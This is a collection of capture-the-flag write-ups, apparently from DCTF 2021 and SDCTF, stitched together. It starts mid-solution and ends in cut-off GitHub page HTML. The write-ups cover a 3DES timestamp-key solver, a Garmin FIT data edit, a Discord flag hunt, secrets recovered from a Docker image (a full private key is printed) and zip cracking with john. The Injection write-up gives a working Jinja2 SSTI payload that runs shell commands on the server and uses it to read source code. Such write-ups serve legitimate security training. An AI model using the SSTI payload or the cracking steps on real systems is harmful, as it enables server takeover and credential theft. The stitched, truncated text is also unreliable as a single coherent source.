print(encrypted)b'b\xf1\x7f\x1d\|%\xe3\xf4\x0f\xb0\xdaS\xed\x0fM\x17\x99;\x86\x8e\x04Ds\xb1`\xfbF\x12\xd6\xe6\xa8\xcb'>>> print(encrypted.hex())62f17f1d7c25e3f40fb0da53ed0f4d17993b868e044473b160fb4612d6e6a8cb```So, to solve it we need to decrypt the provided ciphertext and return the original 'secret' string, using a timestamp as the key. This will be the decryption part: ```fm@NUC7:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)>>> from binascii import unhexlify>>> from Crypto.Cipher import DES3>>> ciphertext = "62f17f1d7c25e3f40fb0da53ed0f4d17993b868e044473b160fb4612d6e6a8cb">>> key = b'0000001621051737'>>> cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")>>> cleartext = cipher.decrypt(unhexlify(ciphertext))>>> print(cleartext.decode("utf-8"))bb775e5e11abc3ea28967061fc1957f1``` ### Final Solve ```fm@NUC7:~$ ./jtyt-solve.pydebug remote output:Show me you are worthy and solve for x! You have one second.2904958076352217 4432329690179776 => debug number extract: 1=2904958076352217 2=4432329690179776debug multiplication: 12875731930543460049557026163392debug remote output:You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!f0199fa6054cd2a677967b4fb135a60cd832d370c830d7376613fc254eaf5ac2> debug cipher extract: enc=f0199fa6054cd2a677967b4fb135a60cd832d370c830d7376613fc254eaf5ac2debug decryption key: key=0000001621068036debug show cleartext: clr=c5a84a46f94e7065ac8fdd0410747466debug remote output:Congratulations! Here is your flag.dctf{1t*******************}``` ### Code Listing```fm@NUC7:~$ cat jtyt-solve.py#!/usr/bin/python3import socketfrom time import timefrom Crypto.Cipher import DES3from binascii import unhexlify remotehost = "dctf-chall-just-take-your-time.westeurope.azurecontainer.io"remoteport = 9999 # Connect to the remote side and capture the outputs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect((remotehost, remoteport))output1 = str(s.recv(1024).decode("utf-8"))print("debug remote output:\n" + output1 + "\n") # Parse and process the output to calculate result 1remotelines = output1.splitlines();num1 = remotelines[1].split()[0];num2 = remotelines[1].split()[2];print("debug number extract: 1=" + num1 + " 2=" + num2)result1 = str(int(num1) int(num2))print("debug multiplication: " + result1) # Send result to remote side, and check responses.send(bytearray(result1 + "\n", 'utf-8'))output2 = str(s.recv(1024).decode("utf-8"))print("debug remote output:\n" + output2 + "\n") # Parse and process the output to calculate result 2remotelines = output2.splitlines();enc = remotelines[1];print("debug cipher extract: enc=" + enc) # Generate the decryption key based on the timestampkey = str(int(time())).zfill(16).encode("utf-8")print("debug decryption key: key=" + str(key.decode("utf-8"))) # Decrypt the ciphertextcipher = DES3.new(key, DES3.MODE_CFB, b"00000000")cleartext = str(cipher.decrypt(unhexlify(enc)).decode("utf-8"))print("debug show cleartext: clr=" + cleartext) # Sent decryption result to remote, and check for flags.send(bytearray(cleartext + "\n", 'utf-8'))output3 = str(s.recv(1024).decode("utf-8"))print("debug remote output:\n" + output3 + "\n")```
# Injection http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/ ![Pasted image 20210516170501](https://user-images.githubusercontent.com/70921512/118423622-d387a380-b69b-11eb-95e3-50008df586c3.png) There is an admin login with the parameters "User", "Password" and a hidden "Submit". Inputting anything into these won't work, and we'll be redirected to `/login` where we get the message: `Oops! Page login doesn't exist :(` I really didn't know how to work this one out. I tried looking at the robots.txt, other known directories, the root directory where the image is stored, but nothing. Eventually, I figured the website was responding to anything that I was throwing at it through the 404 response page, even xss: ![Pasted image 20210516170833](https://user-images.githubusercontent.com/70921512/118423632-da161b00-b69b-11eb-9827-b4165a4be012.png) But eh, couldn't figure it out for a while. I initially thought it was SQLi, and was put off by it because I know barely any SQLi. After googling a bit more I found some CTF writeups that had something similar, and eventually landed on the `SSTI` keyword... Stupidly enough I had already read about SSTIs prior to this, but I couldn't make the connection earlier. # SolutionSo we try:`http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}` and we get `Oops! Page 2 doesn't exist :(` Nice. `{{config}}` gives us a bunch of data, among it: ` 'MESSAGE': 'You are getting closer!` After that it becomes trivial, and we just have to find a way to get terminal access. We eventually land on: `{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}` << where COMMAND is our command. Running `ls`:`app.pylibstatictemplates` Running `ls lib`:`security.py` Running `cat lib/security.py` ```import base64 def validate_login(username, password): if username != 'admin': return False valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ' return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password ``` So we just get the password encoded in a backwards b64, just flip it and decode it: ```base64.b64decode(password[::-1]+"==")b'dctf{4ll_us3r_1nput_1s_3v1l}'``` And we get the flag :D # Notes: Sometimes, the environment will be vary a lot. Most of the payloads I tried that I found online wouldn't work, so I had to craft my own. To make it, I used this medium article that was AMAZING: https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee #----------`{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}`
# Unlimited Power ## Description Are you strong enough for this one? ## Solution Challenge provides us a [UnlimitedPower.prg](UnlimitedPower.prg) file. Running `file` command reveals this some sort of binary data. ```bashfile UnlimitedPower.prg UnlimitedPower.prg: data``` I found some information by looking at `strings` output. ```bashstrings UnlimitedPower.prg you are getting up to speedcan i fake my power data?? .fit fileyou are weakare you roglic?sprinting!I'm not reading any wattz :/Simulation Wattzlegs burningattacking!are you mezgec?this is easy g &UnlimitedPower``` But i really had no idea on what to look at. Searching a bit on `.fit file` reveals few [blogposts](https://developer.garmin.com/fit/fitcsvtool/editing-files/) on how to convert this file to csv using fit2csv tool. The site explains what `FIT` is ```The Flexible and Interoperable Data Transfer (FIT) protocol is designed specifically for the storing and sharing of data that originates from sport, fitness and health devices. The FIT protocol defines a set of data storage templates (FIT messages) that can be used to store information such as user profiles, activity data, courses, and workouts. It is specifically designed to be compact, interoperable and extensible.``` In general its used to transfer activity data to cloud platforms. Searching a bit more on `Garmin` and `prg` key words takes to [forum](https://forums.garmin.com/developer/connect-iq/f/discussion/6338/prg-and-settings) link where they speak about Connect IQ applications. By following [guilde](https://developer.garmin.com/connect-iq/connect-iq-basics/getting-started/) from Garmin i've configured Connect IQ SDK Manager with Eclipse (but later got to know that its not needed at all xD). To understand how that works i've opened Connect IQ SDK Manager and downloaded some of the devices and Connect IQ SDK. ![](assets/connect_iq.png) It downloaded all required tools to my `%appdata%\Garmin\ConnectIQ\Sdks\connectiq-sdk-win-4.0.1-2021-04-21-1bb58d97e\bin` folder. Running `connectiq` launches the simulator. `Garmin` [documentation](https://developer.garmin.com/connect-iq/connect-iq-basics/getting-started/) says below. ![](assets/connectiq.png) ![](assets/monkeydo.png) `monkeydo` runs the given `UnlimitedPower.prg` but it require simulator. So we first run `connectiq` which starts the simulator. ![](assets/sim.png) then `monkeydo UnlimitedPower.prg edge_520` to simulate the application. ![](assets/watch.png) App says its not able to read any power readings. Clicking on `Simulation > FIT Data > Simulate Data` starts showing some data on the app. ![](assets/1.png) ![](assets/2.png) There's also an options to read data from file. ![](assets/opt_data.png) I've downloaded [FITSDK](https://developer.garmin.com/fit/download/) which has some example data files. Loading `Activity.fit` file in the simulator shows `0W`. ![](assets/weak.png) Opening the `Activity.csv` we see a column which has POWER set to 0 :slightly_smiling_face: ![](assets/csv.png) I just modified that column values to 3000 watts power. Hard part is to convert this file back to FIT format. There's an online [site](http://garmin.kiesewetter.nl/) which helps in this conversion but it detects the suspecious data and fixes then automatically. Some of the fixes are. * mark corrupt records as suspected * distance change > 10km * speedchange>20m/s * postionchange>10km * powerchange>2000w * Recalculate lap and session information * speed * cadence * power This won't help and i failed miserably on this. Reading Garmin website shows that FIT SDK has tools which helps in conversion :wink:. Using `FitCSVTool.jar` i'm able to convert CSV back to FIT format. ```bashjava -jar FitCSVTool.jar -c activity.csv activity.fitFIT CSV Tool - Protocol 2.0 Profile 21.53 Releaseactivity.csv encoded into FIT binary file activity.fit.``` Loading this modified fit file to simulator shows the flag. ![](assets/flag.png)
The first piece of info start with `gg`, so it is easy to come up with `discord.gg` (in fact this contest is held in discord). And then, we use a random discord server invite link, and change the latter part of the url to the first piece of info, we entered a discord server called `sdctf admin chat`. After entering the discord server, we can see a lot of flag with format `sdctf{m@st3R_h@Ck3R_XXXX}` in `flag-chat`, and we guess that the flag is among it. Therefore, we have to locate the position of the correct flag. Then we noticed the second piece of info, and notice that we are current in https://discord.com/channels/810237829564727308/810237829564727312 and the second number in the url is the first number in the second piece of info, so we guess that we need to add the second number to locate the position of the correct flag. As a matter of fact, if we choose one of the flags, e.g., `sdctf{m@st3R_h@Ck3R_9986}`, click `...→copy link` on the right, and paste it into notepad, we can see that the link is like the following: > https://discord.com/channels/810237829564727308/810237829564727312/810382719396610111 So we just need to replace the third number in the url to the second number in the second piece of info: https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490 And we find the correct flag. The correct flag is: ```sdctf{m@st3R_h@Ck3R_4807}```
# Forgotten secret ## Description Last month we hired a new junior DevOps Enginner to migrate all our services into containers. He was super hyped about Docker and in such a hurry, that he forgot about best practices.You want to use one of our images? Sure, no problem. Just download image file, run "docker load < image" and you are ready to go! [image](image) ###### Hint -> Don't run it, try to inspect it! ## Solution Let's extract all the file with `7zip` Analyzing the file we find 3 interesting things 1. `SECRET_KEY=58703273357638792F423F4528482B4D6251655468566D597133743677397A24` from the file `7dabd7d32d701c6380d8e9f053d83d050569b063fbcf7ebc65e69404bed867a5.json`2. `image\ee6ac2faa564229d89130079d3c24dcb016b6818c2a8f3901ad2a7de1fdb0faf\layer.tar\root\.ssh\id_rsa` ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY----- ```3. `cipher.bin` from `image\df6e2b0dba838bcc158171c209ae2c7b8aeec4a8638a2fa981abda520233a170\layer.tar\home\alice\cipher.bin` Let's convert the `id_rsa` from `OPENSSH PRIVATE KEY` to `RSA PRIVATE KEY` (as passphrase we can use the `SECRET_KEY`) ```console$ ssh-keygen -p -m PEM -f id_rsa Enter old passphrase: Key has comment 'root@kali'Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase.``` Now let's decrypt the `cipher.bin` using [CyberChef](https://gchq.github.io/CyberChef/#recipe=RSA_Decrypt('-----BEGIN%20RSA%20PRIVATE%20KEY-----%5CnMIIG4gIBAAKCAYEAxBlg%2B7zxJ47TISw%2ByN%2B9DfxbjAbXC0l9aAqcG6sBqTpplTDL%5CnWi0Jk6tvaUqymsefozFrxGVMUfpydB3IHcsbBj7z%2B9tlpH8DB/gTmqt4WPCUAbja%5Cni1nqutNDfXq41QZOHtyQ0MCn2zEx2LGZPEIqKqJrsq5RfkjBjMx/jOcbAvNKkyJb%5CnnFwFvIsfInfmn5RmVirkB5nEuJtOCRYQgo1prjtxEvekeqKabw7btS5v7kDf3XgT%5CnTHc0a44r/6x7zfLD/su6dlv532THAK2CahrWypRmlFsWUgbJnSHR1mtvAUtAa7VN%5CnGuOG3B7iBoTStnbMIWrGUpEamFQ%2BQ0DEK7MOnzpldPxgvEMhCuXeOU6hCKAVZ28W%5CnJxUiU%2BsHXw5TFN5/iheJ0zli%2BgMYb5sQLJ%2BPXD5/SGaMgllbiAo0Og12UBsO%2BOKx%5CnbGs5q0/mUV9/9NdmvJ6n9pNT0lhRSavhfQ%2B3d03ZMdq%2BUhwGGRR%2B3IPeiHXEQhGa%5CnCKBCM4stTHCmS5PXAgMBAAECggGAcEXfgwHQSEe7lZiRccy3nxRHDcq0wF%2BZD0JT%5Cn0nt7/fnVjXdcVgrHGubiaLQ9weRc/8BB5TXiFmV/tf9/HZ%2B1n0PXyPD6Js4ZXCyq%5CnfLmDs9g5xSqi5XnbrI9carEitcRgYccCmqJS%2BGoYEerMwvVW0wYfBzRKsDTTq9tB%5Cng9ilXHES116qeMEu/53fe4qOXftHBDqWR8vAF7nDWexqE3UHdpvNx4BFiXkjVkZ5%5CngChQKWa3RUOEORlex92kT0PftjAxCk2Cr2sQqHaVTG2xqITLHbJnSu/z62dR8BZh%5CnoUWeNzxY9RQOPCkrtGjAv7vW4wI0o%2BqxhYde/6Ttx28dnLrSFZZjOKiDUF9QPfMD%5Cn8uW8o5IOqEEicuMJkkUPYBggOHKux9imF8f6w1Jd5v/AfgjbrkHKcTGheQHUXWyQ%5CnhX2uGuNEtS0QK3p51yhiSF9gTRlwnH0I/u7DxYBs7cJ13YaTZUNOOD7HMN1icL%2Bx%5CnWnTjLwFxZOwLKGJX0mtd2VGrgr5hAoHBAOPDtvXd1Eoo0XR4ooDmqamVC7N22wB0%5CnIeoYJYGFfswyB3YDAPoV378ltl8VhTUqbYAl3aW0kaeal337qKXcPlRYtOel9fpn%5CnGfUFyU2gSHGNbDmI6fZNe/oEWRLR4TtVifKgYD/L9rMpFPjSymB1ZUeG1pysKjBR%5CnAGVNz5s1p/9Bk6/Tu2kggmqn2ZcQ3w5WBtVczCOUs3hf%2BCj7wVF24e39SzH0RG2V%5Cn7zbEQm10pe94NRHW0W11Of25u/l07Wbk/wKBwQDcaL0ZbmnJF3Wko3gtft%2BQxQcy%5CnOQuT%2Bensl3M286tD8Ng7YFIoa%2BYI3uG4Z9IlQM0BlRs3TQX%2BKpWIuDLe%2ByjEGn1Z%5CnAnGg41nc8D0NWKEXrOR3U3eGuL742elHV0FyI2AJBpo%2BD8/ybxSUXiSLmXUmYMm2%5CnjF4SiDQPgNhfmHQTTLuXwKsmoPx6UfAYPnDIozQPt9N5NcMoqw7eWTwaNbjJamcI%5CnGCYj3ImLeUDTnDiAuYxcf7giH7D/a3SmIKeMGSkCgcAHWbKW3rDSL90KmDYOWONS%5Cn0LeO9B//NMA/cMYNFwTPjDHHcjNe3sPYxFvNV8FzxMnB3/b2OQyWTxviefOoXqI4%5CnUKCN9UIp8ZfZ23Typ2CPIZRDixKZ20hL%2BkXxoIpXQtxv0xMoG%2Bn7QDEoEo1rbX52%5CnP3i/l6LI6mRL4KX5iVLBnxkoDHo42066KG6SPH4mVUplKliAMXVVRiuZDv7fJSoH%5CnZyw9EXf/3V3Z8519MM2GG%2BgCil853BWiBZN2anqa3nsCgcBgcOPtMMbQ2pb7Rxva%5CnrF0ed1fCvfs28G9OuqYLMWuK%2BuNid677SNsKnpudmK/25PfO7XNPK0CoCfIMNKzt%5CnrHAV/pFCVTNq9o/ngKb2JAW42knNfJQcOtI1CQRt1twoGRp4WI89AKY4qioTEW5k%5CnNu1vsYIRgjHXYgmFjxceHRMNLtIWgJNi/6X5z8iCky%2B%2BWsr45bJ%2BouuV6%2BNBn0IR%5CnJdiJKSmT/R0TK/hzMscO0JhYmtez0Z68L6m%2B2UHdPwSQ5KECgcBLzDzpSvuTaCz6%5Cn0lxDOMDjRA31nBRAUOuqo7dzCXeWKVoyOn0XJE63GZAZGDy6IMcrLRJo8Q9Z7Zo6%5CneXEmCKLkVYiSdY8iOXvFeJpi71mDtDuhL4lLwGopw%2BEup71H51ZxZBoqlhtNe52Z%5Cn0Eh%2BJp/s6Aj7FeHqqppPeXuymFapZ9av/IFm3WaBwfT7TQfFtBavl3wrSILl4yml%5CnfXNjHtn4yfHe80wRZtB4ZGR3SrgFo1Kum26rrvrEWAtJINKfigs%3D%5Cn-----END%20RSA%20PRIVATE%20KEY-----','','RSAES-PKCS1-V1_5','SHA-1')) #### FLAG >> `dctf{k33p_y0r_k3ys_s4f3}`
# Strong Password Another very easy crypto challenge that took me way too long. To solve we just have to use `john` on the .zip file we are provided. However, what ended up causing me massive headaches is that John The Ripper for some reason handles files differently depending on how you add them as parameters. Let me explain; Running:`john-the-ripper --format=zip ziphash.txt --wordlist rockyou.txt` _Should_ theoretically work on this challenge, however it doesnt. John handles the wordlist file incorrectly, and the only way I found out about it was through the output screen:```Warning: invalid UTF-8 seen reading rockyou.txt Using default input encoding: UTF-8``` It seems fine, and it runs for various seconds, however, it doesn't successfully find the password. Provide the same parameters differently: ```john-the-ripper --format=zip output.txt --wordlist=rockyou.txt``` and it runs for MANY more minutes (from around 25 seconds to 4 minutes on an i7-10700k). Eventually, we get the password: `Bo38AkRcE600X8DbK3600` and we can decrypt the file, and get the flag: `dctf{r0cKyoU_f0r_tHe_w1n}` # Notes Maybe i'm just not familiar enough with linux and this is supposed to be intended, but idk. Let me know...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" 